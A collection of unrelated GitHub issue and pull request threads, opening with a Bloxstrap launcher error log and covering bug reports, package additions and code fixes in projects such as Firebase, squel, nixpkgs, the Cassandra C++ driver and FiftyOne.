2024-06-26T07:50:00Z [HttpClientLoggingHandler::ProcessRequest] GET https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayer/channel/LIVE
2024-06-26T07:50:01Z [HttpClientLoggingHandler::ProcessResponse] 200 OK https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayer/channel/LIVE
2024-06-26T07:50:01Z [Bootstrapper::Run] Connectivity check finished
2024-06-26T07:50:01Z [RobloxDeployment::GetInfo] Getting deploy info for channel zlive (extraInformation=False)
2024-06-26T07:50:01Z [HttpClientLoggingHandler::ProcessRequest] GET https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayer/channel/zlive
2024-06-26T07:50:01Z [HttpClientLoggingHandler::ProcessResponse] 401 Unauthorized https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayer/channel/zlive
2024-06-26T07:50:01Z [RobloxDeployment::GetInfo] Failed to fetch deploy info!
Status code: Unauthorized
Response: {"errors":[{"code":5,"message":"Not authorized to perform this action."}]}
2024-06-26T07:50:01Z [App::OnStartup] Bootstrapper task has finished
2024-06-26T07:50:01Z [NotifyIconWrapper::Dispose] Disposing NotifyIcon
2024-06-26T07:50:02Z [App::OnStartup] An exception occurred when running the bootstrapper
2024-06-26T07:50:02Z [App::OnStartup] System.AggregateException: One or more errors occurred. (Could not connect to https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayer/channel/zlive because it returned HTTP 401 (Unauthorized))
---> Bloxstrap.Exceptions.HttpResponseException: Could not connect to https://clientsettingscdn.roblox.com/v2/client-version/WindowsPlayer/channel/zlive because it returned HTTP 401 (Unauthorized)
at Bloxstrap.RobloxDeployment.GetInfo(String channel, Boolean extraInformation)
at Bloxstrap.Bootstrapper.CheckLatestVersion()
at Bloxstrap.Bootstrapper.CheckLatestVersion()
at Bloxstrap.Bootstrapper.Run()
at Bloxstrap.Bootstrapper.Run()
at Bloxstrap.App.<>c__DisplayClass56_0.<b__1>d.MoveNext()
--- End of inner exception stack trace ---

You're on an outdated version. Download the latest version.


Initial pass of re-branding to fair-identifiers-client.

I'm not opposed.
Can we merge now since we pretty much have functional parity and then do other refactoring later?

It's probably a good time to add massive breaking changes before folks start using it. If neither of us get to those, I'm still happy using it as-is. The login changes were a good one. I'm still not sure how I feel about how the CLI restructures ArgumentParser as a command decorator. If we add a bunch more features, I could see maintaining that as more trouble than simply switching to something like Click.

I don't have write access, but I'd happily hit merge now if I did.


Integrate JAXRS, JCA, JPA, JSF, Naming, Weld and Undertow subsystems with config-api

Each of these subsystems is now using the config-api for its runtime configuration.

Great work @lance


Pip requirements.txt issue

Hello! After updating to the latest versions of the firebase function and firebase tools, I am still running into the issue where my "main.py" file does not found the module "flask_restful" when i try uploading it to cloud via "firebase deploy --only functions". I have already included "flask_restful" and its version in the "requirements.txt" file under the "functions" folder, however, it still does not recognize it. Any advice?

Hello @JackYBT. After adding to the requirements.txt file, did you run pip install -r requirements.txt in the functions folder?

Since there hasn't been response in a while, I'll close this issue


ngx-scrollspy destroys previous url query parameters after anchor tag is clicked

The plugin destroys and does not maintain current query parameters upon anchor link clicking. This is an issue if one is attempting to use queries for any of the data on the page, and observing that data as well in the URL. One cannot refresh the page, bookmark, nor go back to a working position due to the plugin stripping away any url query parameters that were being used. The example is shown below of what happens.
DEFAULT URL LINK:
http://www.somedomain.com/users?id=5q23jn34&filter=true
ISSUE LINK AFTER ANCHOR TAG IS CLICKED
(so when anchor tag is clicked the url parameters are stripped and replaced):
http://www.somedomain.com/users#home

The Ideal Result After Clicking an Anchor Tag:
http://www.somedomain.com/users?id=5q23jn34&filter=true#home

@JonnyBGod any ideas mate?


Allow limit and offset to be 0

Currently you can't set limit or offset to be 0, cause SELECT * FROM  LIMIT 0 OFFSET 0 is a valid sql query and it should be possible. For example if you want to validate the query without retrieving any data.

Codecov Report

Merging #321 into master will not change coverage.
The diff coverage is 82.95%.

@@           Coverage Diff           @@
##           master     #321   +/-   ##
=======================================
  Coverage   81.41%   81.41%
=======================================
  Files           2        2
  Lines        2825     2825
  Branches      633      633
=======================================
  Hits         2300     2300
  Misses        525      525

Impacted Files
Coverage Δ

dist/squel.js
72.55% <75%> (ø)
:arrow_up:

dist/squel-basic.js
93.28% <94.44%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 79a9d5b...6d61af6. Read the comment docs.


Adapt test suite for db-sync 10.0.0

This pr:

Updates db snapshot with new db-sync's schema.
Adapts tests that used to run in launchpad network to run into mainnet
Updates dump_blocks script to export the necessary blockchain data to cover all tests.

Thanks @jvieiro . I've merged this into the existing PR, so we will provide any change requests there.


minipro: init at 0.5

Motivation for this change
minipro is a useful command line utility for controlling TL866xx chip programmers.
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[x] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[x] Fits CONTRIBUTING.md.

LGTM


Hide all symbols except explicitly exported with CASS_EXPORT.

It fixes crash (or assert failure in Debug configuration) when some .so uses other version (1.1) of rapidjson from /usr/include and overrides some (not all) rapidjson methods compiled in libcassandra.so. This reproduced when connecting to scylladb. Under debugging it looks like rapidjson::Document::StartObject (from /usr/include/rapidjson/...) called with wrong this pointer from GenericParser::ParseObject (from third_party/rapidjson/...), but preprocessor output shows only sources from third_party/rapidjson.

Thanks for the patch. I'll take a look at this sometime this week.

There was an issue where dllexport was on both sides of the CASS_BUILDING branch. Please open a new PR or a JIRA issue if this hasn't fixed your issue.


Suggestion to make use of the GitHub Discussion feature

Is there a reason why the repository does not make use of the Github Discussion Feature but uses the google group as forum? I feel that a discussion/forum feature directly in the repository might be a more integrated way to discuss performance, features, just plain questions etc.

And another - good idea. I thought about it before. We can try Discussions instead gitter, but until we give up the forum - let's see if  Discussions will be more popular than the forum


Update YOLOv5DatasetImporter to support loading list of .txt

What changes are proposed in this pull request?
Currently, the YOLOv5DatasetImporter does not support loading a split contains list of .txt, e.g.:
...
val:
  - one.txt
  - two.txt
  - three.txt
...

And, I make it support.
How is this patch tested? If it is not, please explain why.
I have tested the following variants of YOLOv5 dataset:

Single folder as a split.
Single txt as a split.
Multiple folder as a split.
Multiple txt as a split.
Multiple mixed folder and txt as a split.

Release Notes
Is this a user-facing change that should be mentioned in the release notes?

[x] No. You can skip the rest of this section.
[ ] Yes. Give a description of this change to be included in the release
notes for FiftyOne users.

(Details in 1-2 sentences. You can just refer to another PR with a description
if this PR is part of a larger change.)
What areas of FiftyOne does this PR affect?

[ ] App: FiftyOne application changes
[ ] Build: Build and test infrastructure changes
[ ] Core: Core fiftyone Python library changes
[ ] Documentation: FiftyOne documentation changes
[x] Other

Summary by CodeRabbit

New Features

Improved handling of dataset paths, allowing for multiple split paths to be processed.
Enhanced flexibility in managing various input formats for image paths.

Bug Fixes

Streamlined control flow for evaluating image paths, ensuring consistent processing of all provided paths.

Refactor

Simplified and clarified the structure of the code for better maintainability and readability.

FYI we already have tests that cover quite a few aspects of YOLOv5 import/export here: https://github.com/voxel51/fiftyone/blob/e8ec30195ef3af1bd3a5a2955ae12b12f074e98e/tests/unittests/import_export_tests.py#L1646


Fix results filtering after unselect

When the popup is open and an item is unselected by the user, the unselected item should be put back in the search items.
This PR fixes this behaviour.

oops, I missed these. Now fixed and rebased @stefanbuck